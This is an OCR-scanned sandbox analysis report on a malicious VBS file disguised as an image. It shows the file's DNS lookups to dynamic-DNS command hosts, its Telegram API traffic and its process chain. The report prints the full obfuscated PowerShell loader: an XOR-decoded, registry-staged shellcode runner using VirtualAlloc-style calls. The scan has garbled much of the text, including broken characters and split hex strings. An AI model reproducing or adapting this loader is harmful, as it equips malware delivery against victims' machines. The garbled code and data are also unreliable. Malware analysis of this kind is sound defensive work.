CET kdns.org

Nov 28, 2022 1111 192.168.11.20 0x2109 No error (0) myfrontman 37.0.14.209 A (IP address) IN false
20:50:39.238917112 nyfive.ddns.net (0x0001)

CET

Nov 28, 2022 1.1.1.1 192.168.11.20 0x8d94 No error (0) backupfron 84.38.134.104 A (IP address) IN false
20:51:36.603502989 tmanny.duc (0x0001)

CET kdns.org

Nov 28, 2022 1.1.11 192.168.11.20 0xd5da No error (0) myfrontman 37.0.14.209 A (IP address) IN false
20:51:38.862339020 nyfive.ddns.net (0x0001)

CET

Nov 28, 2022 1.1.1.1 192.168.11.20 0x4d71 No error (0) backupfron 84.38.134.104 A (IP address) IN false
20:52:36.688539982 tmanny.duc (0x0001)

CET kdns.org

Nov 28, 2022 1.1.11 192.168.11.20 0x7cbe No error (0) myfrontman 37.0.14.209 A (IP address) IN false
20:52:39.096400976 nyfive.ddns.net (0x0001)

CET

HTTP Request Dependency Graph

« api.telegram.org

« sinopbisikletkiralama.com

Statistics

Behavior

@ wscript.exe
@ powershell.exe
@ conhost.exe
@ powershell.exe
@ ieinstal.exe
@ wscript.exe
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@ powershell.exe
@ conhost.exe
@ CasPol.exe
@ CasPol.exe

@

System Behavior

Click to jump to process

Analysis Process: wscript.exe PID: 7408, Parent PID: 4604

General

Target ID: 0

Start time: 20:44:26

Start date: 28/11/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\IMG_2022028022-0120.vbs"
Imagebase: 0x7ff677550000

File size: 170496 bytes

MD5 hash: 0639B0A6F69B3265C1E42227D650B7D1

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: moderate

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 6472, Parent PID: 7408

General

Target ID: 3

Start time: 20:44:31

Start date: 28/11/2022

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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Wow64 process (32bit): false

Commandline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Badeanstalt = """reFLiuEfnBrcExtApiHjoStnBu HyHFITDuBSp su{Hi Cl An Pa BapinaC
arZiaSomVo(Cz[PaSDetalrCaiennOugDe]Ca $UdHBaSUd)Fr;Ag At Ud Ho Af'$UsBeuyAktNoePasBo Sa=Sn ThNAneNowBo-MuOGrbEpjLoeDdcBetHu TobPay
VrtSeela[Al]Po Bd(Me'$VaHTnSDe.ReLLPeeNonVegMatunhSI Re/Sk Di2Gi)Ko;Un ge Ma Is GeFFloLerWi(fe'$HaiOp=omO0Pe;Fu Ma'$PhiDo Ge-MaltitSe
Fa'$SyHBeSBa.DoLUneDenScgDotUnhCa;Do Un'$reiom+Re=Be2Du)Va{FI PI Re Ad Ot ta Sp Sk Ho'$DoBFeyDetLeegasSm|Fi $geiAf/na2De]Od Ge=Sa
Tr[RecSkoUnnLivKresirOrtBr]ll:Me:DaTDioDiBBoyPatGleSu(Po' $UsHHeSPh.boSFruAfbNesMatUnrPriPonUngLa(ll' $StiPa,Su Jo2Po)Ca,Bl Af1SnéDu)No;Ma Te
Un"$miBKryPrtCheGtsPa[Du" $SyiUn/Tr2Fi]Mi Ta=Ha Ah(Fo'$SiBbiyIntOpeovsOI[Kb $spiHe/Ar2Fr]Fe Ci-FrbRexEnoPhrTi Hy2St2Re9La)lo;so Le De Ca VriRe
Un[MuSkutSqrLaiApnNogBI]Pe[MaSChylnsDetpaeNemSt.VaTBaeKaxIbtBi.ReEManPlcGeourdPriMonPrgSy]Si:Ko:RaAUdSAkCWalFolsa.MoGBaeButTaS
GutUnrFriUiningBa(Ba' $FobSeyPitTheAns|d)li;Bl}Ga $DeHBrdSalUnclr0Sk=KrHOuTBeBAf Ry'BeBRe6te9SpCBe9Be6ProGr1js8Et0AmM8In8SeCEnBCa8co
1In8Ta9Pr8Cr9De'Sy;Lu’ $plHRvdaflFocin1De=TrHDITZiBVe Un'FeAKr8Re8TaCDe8SI6Gr9Ag7is8XyASvISp6Sh8CaAHe8De3BI9An1unCTiBteBA
b2Ha8SmCUr8SuBCuDbu6LkDTi7MaCMeBSeBDe0As8TrBCh9Ah6Me8To4Pr8Ne3Fr8In0boAReBRa8st4Ti9Ve 1un8ApCOp9dk3Bi8Co0SUACI8An8en0UNII
n1Mo8DeDAN8PeAUd8Wu1Ra9Ca6Ba'Fo;El' $LoHBIdNoISucBo2Ne=TnHBITUnBSp Ne'siAFi2Sk8Ti0ODi9UI1tyBLo5Ob9Fi7no8ByACe8An6PoALa4Da8
Bi1Ka8Im1Wh9Gt7108GeORr9Br6BraDi6Ar'FI;gr' $CyHEidArlblcPr3pr=OvHenTnoBCo Ta'LeBUn6re9UpCGu9Sn6Gn9Fa1Br8Mo0Da8Pr8LyCOvBBe
Bwa7Sk9Fo0Sa8MaBDe9Ev1Af8KaCBa80c8Sc8HeONoCObBFoAToCDe8SiBSi9Se1Be80r0Se9INo7FI8BHUAOUIty5RaBCo6Kr8Sk0dd9Se7As9Ri3Le8laCBr
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St9MeCVo5AnDaf5Sh9AbDNIDSk1UnCunCSt'Br;Th&Ko(To $ArSDotLnySerOmkToeSotOvrAInReeAn7Ac)Ba Un' $SkLCeeAmucocldiQufroeFrrBi8Ku;De $kalL. T
usCaeOprinucunArdSneSirVisErgsoeCollnsCreTerPh=Be(BjGKeeBatLa-BrITrtKneArmEcPberProAnpEneUnrNotsiyUn Ri-BiPAcaSttMyhAe fo'TeHMoKJo
CFIUAt:ti\BIMPeeMetMoaGrgFanStoRimSaydo\KaeDoaBogInlAbemadSu'St)Ov.LnSUnaHarEucGloTilSioEvgFliKasCotso;Se' $SvLReeCouDacFriSefYneGo
rso9CI Me=Me HjHBoTRaBlIl Ha'ArCMe1VuABromi8FaOpa9ta0Tr8Ka6Ri8LeCfo8FI3wh8Vr0Su9pe7MiCLa5AfDS08DiCSp5CaBSiEkaBGuBNo9AsCSy
9Fr6fe9St1Li8Un0IN8LUBArCStBJeABubHa8HeAbe8ThBRe9mi3Ir8Go0Ch9Fo7Ma9Ar1JiBOr8PyDDyFsyDBeFAfAHa3GroKo7Fo8StADI8Gr8moAFh7Fa
8Dr4At9re6SU8BEMOFoDUN3SrDRe1LoBBa6Ke9Me1SI9Po7fe8stCIn8RaBRa8Pe2JaCAIDMoCfo1reAAn9Af9bo6Er8Un0Ex9de7Nu9RhORe8phBCa8To1Ta
8Mo0n09Jo7To9Ko6Em8Ga2De8Fu0FI8fo9Sa9Adbpa8Af0SedKa7saCReCEg'Si;He&Ch(sl" $sIStwtSaySmrDekAdeLotDirUnnTieBI7Ep)Va Ab'$NaLSieBauOecT
aiarfCaeAdrkr9Ci;Li $SuLMasSueMarUnuWhnGtdFoeTerHasDygRuePilAnsRieOvrArOBy Hi=Th myHFaTdiBHy At'PIBBoErhBFd6Ir9BICSm9Ka6Sy9Sp1WisL
a0Pr8Gr8GoCDeBBiBRe7Mo9In0no8UnBBI9sa1ui8OpCSe8fj8Re8HMOSyCEaBTrAReCHj8HaBBo9Ch1nd8Ma0Fo9Ve7Ro8ChALa9An5MeBUb6Sp8C0o0B0o9K
i7Hj9Te3In8feCRe8Tr6Re80vOUN9IUNBkuCPIBCiAH08K08F14flI9ha7Ku9Ri6bl8UnDmo8St4Co8ls9SkBRe8UnDteFReDFoFMoALU6EK8ToAFr9Da5La9D
eCRiCBoDKoCZy1AiACy9Br8Sy0Re9INa0Sa8ef6Ge8SICCa8Jo3Do80w0BuU9IBK7XiCbrOWhCCu5DdDKa5TnCPe9ItCTa5NgCFo5KoCNo1BaAPsARe9Pr1De8A
bDPo8PICte8reBAfDUf6CrCOvIHoCcr5JaDAIGviDSkORoDPa6PeCSeCPI'He;Sc&Be(Hi' $AdSEktStyMorThkUneVatDerGrnReeOr7BI)St Ar'$RelPrsDeeLarSlu
ArnFodSueDrrJesBegGleFlISksBleAnrLa0St;Sa’ $hisOmiCozUneNo=mi'$PaLAmeStulncQuiGofaleXerte.MacDeoCouennlitEm-Di3Sc5Qu3Bi;So" $GiL FrsF
leSkrLvuPanKodloeDarFrsExgnoePrIPesBuePsrli1Rh Te=FI SeHImTSkBCh Hy'UnBJaEBiBRa6lh9MeCCa9Br6Ek9Ga1gr8Se0Kv8Te8StCmaBMaBR
e7Pe9FrOWh8AbBSu9KI1 Be8MeCSu8Ci8FI8be0FrCUNBPrANaCAf8DeBSudMe1An8Gs0Hj9Rs7Re8DeASkIOV5BeBEr6Ha8LI0LIIEg7Ly9Sp3Pe8UdCHe8M
i6No8JuOHa9Fr6AnCSuBToAGu8Ar8Be4UI9Ph7Re9Pabge8BeDVa8Dr4Bu8By9LuBBr8HoDStFStDKoFTuAHe6La8reAVi9Sk5Sr9MaCCoCVeDSwCFu1DyAU
n9ex8Rs0Fr9Vo0Tr8FIEEn8SyCUn8un3Ge8Li0St9Un7OkCAd9IBuCat5EIDIN6GaDCo0efDSi6CoCGNIHCVa5HoCvo1To8PrASp9Be7Pa8ReCUNCIN9UNCW
r5InCPa1Vi9As6Ap8HyCCh9BIFSa8HUONICBICOM'Br;Lu&Ov(Ve $BeSSttDuyDerlnkMaePrtAlrAnndneSp7En)Ek Ti'$NoLBesSnedirnauRenStdCaeWhrPrsLig
RuelalCisDoelnrEx1Sr;EI'SAmLAnsTreParPruGanSudLueAkrTasRagsteBollnsraeOlrGl2So Or=Si BrHScTSeBAn Ve'PnCUn1Ch9Fr3St8Tr4Co9Va7ToBENA
Vi9Fe7Ex9Pa0lm8AnBFo8Ta8Ku8An0BoCBu5SUbDCh8FoCDe5ToBCeEdeBOV6FI9HIChe9Pub6Sk9BI1Ud8SpOCY8Et8TaCVaBKnBSu7To9FeONe8EKBSr9AK1
En8UnCBe8St8Be8He0MaCStBUJAANCHe8AaBov9In1Pi8ud0PI90p7Pa8ZaABi9Fj5FuBMo6Ga8Vo0ScIBi7TrIDi3Di8MaCOf8Up6Fo8Ep0Ko9Op6UNCSnB
DiAN08dr8Un4Ka9St7badAl6Fi8arDSp8Aa4Ge8Bo9GhBPo8upDPsFFoDTrFDrAIn2Di8Be0Da9Pr1RiAga1Hj8Co0Ad8BI9in8PrOEk8Ji2AI8He4Jadfal
Af8HeOF0AgI3Ve8UdAGe9De7BrARe30b9INo0Sp8F|Bim8Bi6AI9Le1Ra8TvCAp8SiApr8LyBIrBTe5In8MaAGe8FoCTo8DuBPa9Ku1Ka8FuOEnN9Hk7BrCArD
FoCBr1BiABeAKo9AI1Br8GaDTh8LuCTh8udBStDNa6EnCFu9DoCEx5SaCPoDUNASk2TuAPh1PhBNo1BeCMe5GaASI5SaCNiDPaBspEUnACaCSp
8BeBRe9Fy1SnBMa5Wo9Co1Li9Ru7PiBFo8DeCBI9EgBKUEtrASoCOv8SuBHi9In1ReBBr5s09Xy1Be9Mu7BeBSc8LaCChCMaCPr5SuCGuDAsBB
IECoBTe3Sm8SiAAp8MyCUt8St1PaBBI8LaCHyCbaCAMCShCngCGe'Pu;Fr&Fo(No'$BrSSutinytrrPakSoeAntSkrFanuneAf7No)De Tr'$ReLInsEgeSm
rTauLanKadSpeOprAbsTegGleBriKasStelnrst2In;Fa’ $BILLmsRoeBjrsauMinEndTreKarHesFagSkeGulTvsCheBurBa3lm Es=St BaHTaTdrBBo Bu'PrCEm1de
9ud3Da8Pr4Te9du7AdBfeAjo9AI7An9Sk0St8BeBBa8Re8Vr8LI0CoCDoBErAUNCIN8EXBFI9B03St8SpARe8RoENU8Be0AsCBoDstCFe1Pr8AaAHo9wh7Fo
8BeCLeCTr9InCBo1Va9Ud3Rh8Si4Ah9Si7DaBEXAGr8ThBDa9yo1ToCTwCSp'We;Sk&go(Lu $StSHetDeyprrMekBleKotomrSonWyeAl7Ti)Cr Pr'$ReL
PrsSueGurAbuMenNedPaeDarSysTogSteaslldsAdeFirBy3Te#Pj;"";;Function Lserundersgelser9 { param([String]$HS); For($i=2; $i -It $HS.Length-1; $i+=(2+1
N{ $Antidrug = $Antidrug + $HS.Substring($i, 1); } $Antidrug;}$Romerretlige0 = Lserundersgelser9 'AllMeEPaXSa ';$Romerretlige2 = Lserundersgelser9 '
opsFrtSraUrrHytPa-TjjUnoskbDi ';$Romerretlige1= Lserundersgelser9 $Badeanstalt;;if([IntPtr]:size -eq 8){.$env:windinS*64\W*Power*\v1.0\*l.exe $Rome
rretlige1 ;}else{&$Romerretlige0 $Romerretligel;};;;

0x7ff6766f0000

452608 bytes
04029E121A0CFA5991749937DD22A1D9
true

true

.Net C# or VB.NET

Reputation: moderate
File Activities
File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\ _PSscr read attributes |  device sequential only |  success or wait 1 7FFB6159517F CreateFileW
iptPolicyTest_5elcf2ed.d41.ps1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device sequential only |  success or wait 1 7FFB6159517F CreateFileW
iptPolicyTest_mufoeags.irm.psm1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Windows\system32\catroot read data or list  device directory file | object name collision 1 7FFB3871D89F unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

C:\Windows\system32\catroot2

C:\Users\user

C:\Users\user\AppData\Roaming

File Deleted
File Path

C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_5elcf2ed.d41.ps1

C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_mufoeags.irm.psm1

File Written

File Path Offset Length

C:\Users\user\AppData\Local\Te 0 60
mp\___PSscr
iptPolicyTest_5elcf2ed.d41.ps1

C:\Users\user\AppData\Local\Te 0 60
mp\__PSscr
iptPolicyTest_mufoeags.irm.psm1

C:\Users\user\AppData\Local\Mi 0 64
crosoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

File Read
File Path

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\mscorlib\97c4
21700557a331a31041b81ac3b698\mscorlib.ni.dll.aux

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Pb3
78ec07#\5a5aa4bd0e31ad780d3d4 11af88f91fc\Microsoft.PowerShel
|.ConsoleHost.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System\372e99
62a41f186f070f1cb9f93273ee\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Core\d
bf675a2e7564fd29ec8b82b29a1a2fe\System.Core.ni.dll.aux
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Access Attributes Options Completion Count Source Address
read data or list  device directory file | object name collision 1 7FFB3871D89F
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
read data or list  device directory file | object name collision 1 7FFB63BOE04F
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
read data or list  device directory file | object name collision 1 7FFB63BOEO4F
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
Completion Count Source Address
success or wait 1 7FFB6158A731
success or wait 1 7FFB6158A731
Value Ascii Completion Count Source Address
232050 6f77 657253  # PowerShell test file to  success or wait 1 7FFB6158C9C8
68 65 6¢ 6¢ 20 74 65 73  determine AppLocker
742066 69 6¢ 6520 74  lockdown mode
6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6¢ 6f
63 6b 64 6f 77 6e 20 6d
6f 64 65 20
232050 6f77 657253  # PowerShell test fileto  success or wait 1 7FFB6158C9C8
68 65 6¢ 6¢ 20 74 6573  determine AppLocker
742066 69 6¢ 6520 74  lockdown mode
6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6¢ 6f
63 6b 64 6f 77 6e 20 6d
6f 64 65 20
40000001 65000000 @e success or wait 1 7FFB6409B239
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
Offset Length Completion Count Source Address
unknown 4095 success or wait 1 7FFB63B0BBD3
unknown 8173 end of file 1 7FFB63B0OBBD3
unknown 4095 success or wait 1 7FFB63B0BBD3
unknown 6135 success or wait 1 7FFB63B0BBD3
unknown 176 success or wait 1 7FFB63AB41D2
unknown 4095 success or wait 1 7FFB63B117E6
unknown 8173 end of file 1 7FFB63B117E6
unknown 4095 success or wait 1 7FFB63B117E6
unknown 1248 success or wait 1 7FFB63AB41D2
unknown 620 success or wait 1 7FFB63AB41D2
unknown 900 success or wait 1 7FFB63AB41D2

Symbol

unknown

unknown

unknown

Symbol
DeleteFileW
DeleteFileW

Symbol

WriteFile

WriteFile

WriteFile

Symbol
unknown
unknown

unknown

unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

ReadFile
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File Path Offset Length Completion Count Source Address Symbol

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manaa5 unknown 2764 success or wait 1 7FFB63AB41D2 ReadFile
7fc8cci#\1a36bbd40fa7303b8f82824964c0f337\System.Management.A
utomation.ni.dll.aux

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFB63B0BBD3 unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFB63B0BBD3 unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFB63B0BBD3 unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFB63B0BBD3 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Mf4 unknown 748 success or wait 1 7FFB63AB41D2 ReadFile

9f6405#\1a9dbe36222431068d63284a515217f7\Microsoft. Managemen
t.Infrastructure.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manage unknown 764 success or wait 1 7FFB63AB41D2 ReadFile
ment\a00d58ba692a8febe63782689321bb04\System.Management.ni.d

Il.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Dired1 unknown 752 success or wait 1 7FFB63AB41D2 ReadFile

3b18a9#\79f99918023317d012fe2183f857bb1c\System.DirectorySer
vices.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Xml\ea unknown 748 success or wait 1 7FFB63AB41D2 ReadFile
b83bdd6eee1b956e2c8aef88914cc1\System. Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Numeri unknown 300 success or wait 1 7FFB63AB41D2 ReadFile
¢s\0c073f42cf7c0b89bd4cebd244060ceb\System.Numerics.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Data\8 unknown 1540 success or wait 1 7FFB63AB41D2 ReadFile
4aed1edd797cb6d561bc7bf355d46b2\System.Data.ni.dll.aux

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown 64 success or wait 1 7FFB63AEEAB7 ReadFile
rtupProfileData-NonInteractive

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Config unknown 864 success or wait 1 7FFB63AB41D2 ReadFile
uration\053d057c90af827d0929a6aba7feabcf\System.Configuratio

n.ni.dll.aux

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait 1 7FFB63B0BBD3 unknown
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 8171 end of file 1 7FFB63B0BBD3 unknown
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait 1 7FFB6158C9C8 ReadFile
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait 1 7FFB6158C9C8 ReadFile
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait 1 7FFB6158C9C8 ReadFile
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait 1 7FFB6158C9C8 ReadFile
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait 1 7FFB6158C9C8 ReadFile
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 end of file 1 7FFB6158C9C8 ReadFile
ne.config

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 end of file 1 7FFB6158C9C8 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.P6f unknown 1268 success or wait 1 7FFB63AB41D2 ReadFile

7926261#\eed480a49b61c30993f5872af5a0685¢e\Microsoft.PowerShel
1.Security.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Transa unknown 924 success or wait 1 7FFB63AB41D2 ReadFile
ctions\8¢f69b2ee1126¢11a4965ce03cac7452\System. Transactions.
ni.dll.aux

Analysis Process: conhost.exe PID: 8184, Parent PID: 6472

General

Target ID: 4

Start time: 20:44:31

Start date: 28/11/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase: 0x7ff773f10000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFAGS

Has elevated privileges: true

Has administrator true

privileges:
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Programmed in:

Reputation:

File Activities

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Offset Length Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 6492, Parent PID: 6472

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

5

20:44:33

28/11/2022
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function HTB { param([String]$HS); $Bytes = New-Object byte[] (§HS.Length/2); F
or($i=0; $i -It $HS.Length; $i+=2){ $Bytes[$i/2] = [convert]::ToByte($HS.Substring($i, 2), 16); $Bytes[$i/2] = ($Bytes[$i/2] -bxor 229); } [String][S
ystem.Text.Encoding]::ASCII.GetString($bytes);}$HdIcO=HTB 'B69C96918088CB818989";$HdIc1=HTB 'A88C86978A968A8391CBB28C8BD6D7CBB08BY
6848380AB84918C9380A880918D8A8196';$HdIc2=HTB 'A28091B5978A86A4818197809696';$HdIc3=HTB 'B69C96918088CBB7908B918C8880CBA
C8B9180978A95B68097938C868096CBAD848B818980B78083";$HdIc4=HTB '9691978C8B82";$HdIc5=HTB 'A28091A88A81908980AD848B818980"
;$HdIc6=HTB 'B7B1B69580868C8489AB848880C9C5AD8C8180A79CB68C82CIC5B59087898C86';$HdIc7=HTB 'B7908B918C8880CIC5A8848B84828
081';$HdIc8=HTB 'B78083898086918081A180898082849180";$HdIc9=HTB 'AC8BA880888A979CA88A81908980";$Styrketrne0=HTB 'AB9CA180898082849
180B19C9580";$Styrketrne1=HTB 'A689849696C9C5B59087898C86CIC5B68084898081CIC5A48B968CA689849696CIC5A490918AA689849696';%
Styrketrne2=HTB 'AC8B938A8E80";$Styrketrne3=HTB 'B59087898C86CIC5AD8C8180A79CB68C82CIC5AB8092B6898A91CIC5B38C9791908489';$Styrketr
ne4=HTB 'B38C9791908489A489898A86";$Styrketrne5=HTB '8B91818989";$Styrketrne6=HTB 'AB91B5978A91808691B38C9791908489A880888A979C";$
Styrketrne7=HTB 'ACA0BD';$Styrketrne8=HTB 'B9'";function fkp {Param ($v_m, $v_p) ;$Leucifer0 =HTB 'C193908B88C5D8C5CDBEA49595A18A88848C8B
B8DFDFA6909797808B91A18A88848C8BCBA28091A49696808887898C8096CDCCC599C5B28D809780C8AA878F808691C59EC5C1BACBA289
8A878489A49696808887899CA684868D80C5C8A48B81C5C1BACBAI8AB684918C8A8BCBB695898C91CDC1B6919C978E8091978B80DDCCBE
C8D4B8CBA09490848996CDC1AD818986D5CCC598CCCBA28091B19C9580CDC1AD818986D4CC';&($Styrketrne?) $Leucifer0;$Leucifer5 = HTB
'C1938497BA829584C5D8C5C193908B88CBA28091A880918D8A81CDC1AD818986D7CIC5BEB19C9580BEB8B8C5A5CDC1AD818986D6CIC5C
1AD818986D1CCCC";&($Styrketrne?) $Leucifers;$Leucifert = HTB '97809190978BC5C1938497BA829584CBAC8BI38A8E80CDC18B908989C9
C5A5CDBEB69C96918088CBB7908B918C8880CBAC8B9I180978A95B68097938C868096CBAD848B818980B78083B8CDAB8092C8AA878F8086
91C5B69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083CDCDAB8092C8AA878F808691C5
AC8B91B59197CCC9C5CDC193908B88CBA28091A880918D8A81CDC1AD818986D0CCCCCBAC8BI38ABE80CDC18B908989CIC5A5CDC193BA88
CCCCCCCCCIC5C193BA95CCCC ;& ($Styrketrne?) $Leucifert }function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $vrt = [Void]);$Leucifer2 = HTB 'C1B3B1A7C5D8C5BEA49595A18A88848C8BB8DFDFA6909797808B91A18A88848C8BCBA
180838C8B80A19C8B84888C86A49696808887899CCDCDAB8092C8AA878F808691C5B69C96918088CBB78083898086918C8A8BCBA49696808887899CA
B848880CDC1AD818986DDCCCCCIC5BEB69CI6918088CBB78083898086918C8A8BCBA0888C91CBA49696808887899CA7908C89818097A48
686809696B8DFDFB7908BCCCBA180838C8B80A19C8B84888C86A88A81908980CDC1AD818986DCCIC5C18384899680CCCBA180838C8B80B
19C9580CDC1B6919C978E8091978B80D5CIC5C1B6919C978E8091978B80D4CIC5BEBEICI6918088CBABI089918C86849691A180898082849180B8CC'
;&($Styrketrne?) $Leucifer2;$Leucifer3 = HTB 'C1B3B1A7CBA180838C8B80A68A8B9691979086918A97CDC1AD818986D3CIC5BEB69CI69180
88CBB78083898086918C8A8BCBAG8489898C8B82A68A8B93808B918C8A8BI6BEDFDFB691848B81849781C9C5C1938497BA95849784888091809796CC
CBB68091AC8895898088808B9184918C8A8BA389848296CDC1AD818986D2CC";&($Styrketrne?) $Leucifer3;$Leucifer4 = HTB 'C1B3B1A7CBA180838C8B8
0A880918D8A81CDC1B6919C978E8091978B80D7C9C5C1B6919C978E8091978B80D6CIC5C1939791CIC5C1938497BA95849784888091809
796CCCBB68091AC8895898088808B9184918C8A8BA389848296CDC1AD818986D2CC" ;& ($Styrketne?) $Leucifer4;$Leucifers = HTB '97809190978BC5C1
B3B1A7CBA69780849180B19C9580CDCC";&($Styrketrne7) $Leucifers ;}$kk = HTB '8E80978B8089D6D7";$Leucifer6 = HTB 'C1938497BA9384C5D8
C5BEB69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBA88497968D8489B8DFDFA28091A180898082849180A38A97A3908B
86918C8A8BB58A8C8B918097CDCD838E95C5C18EBEC5C1B6919C978E8091978B80D1CCCICS5CDA2A1B1C5A5CDBEACSBI1B59197B8CIC5BE
BOAC8B91D6D7B8CIC5BEBOAC8B91D6D7B8CICSBEBOAC8BI1D6D7B8CCC5CDBEAC8B91B59197B8CCCCCC ;&($Styrketrne7) $Leucifer;$var_nt = fkp
$Styrketrne5 $Styrketrne6;$Leucifer7 = HTB 'C1AA918D8C8BD6C5D8C5C1938497BA9384CBAC8BI38A8ES0CDBEACSBI1B59197B8DFDFBF80978AC9C
5D6D0D6CIC5D59DD6D5D5D5CIC5D59DD1D5CC ;& ($Styrketrne7) $Leucifer7;$Leucifer8 = HTB 'C18A978CC5D8C5C1938497BA9384CBAC8BI3
8ABEB0CDBEAC8B91B59197B8DFDFBF80978AC9C5D59DD4D5D5D5D5D5C9C5D59DD6D5D5D5C9C5D59DD1CC ;& ($Styrketrne?7) $Leucifer8;$Lserun
dersgelser=(Get-ltemProperty -Path 'HKCU:\Metagnomy\eagled').Sarcologist;$Leuciferd = HTB 'C1A98090868C838097C5D8C5BEB6ICI6918088C
BA68A8B93809791B8DFDFA3978A88A7849680D3D 1B691978C8B82CDC1A9968097908B81809796828089968097CC";&($Styrketrne7) $Leucifer9;
$Lserundersgelser0 = HTB 'BEB69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBA88497968D8489B8DFDFA68A959CCD
C1A98090868C838097C9C5D5CIC5C5C1AA918D8CBBD6CIC5DEDODECCT ;& ($Styrketrne7) $Lserundersgelser0;$size=$Leucifer.count-353;$Lserunders
gelser1 = HTB 'BEB69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBA88497968D8489B8DFDFA68A959CCDC1A98090868
C838097C9C5D6D0OD6CIC5C18A978CCIC5C1968CIFB0CC ;& ($Styrketrne7) $Lserundersgelser1;$Lserundersgelser2 = HTB 'C1938497BA97908B8880C5
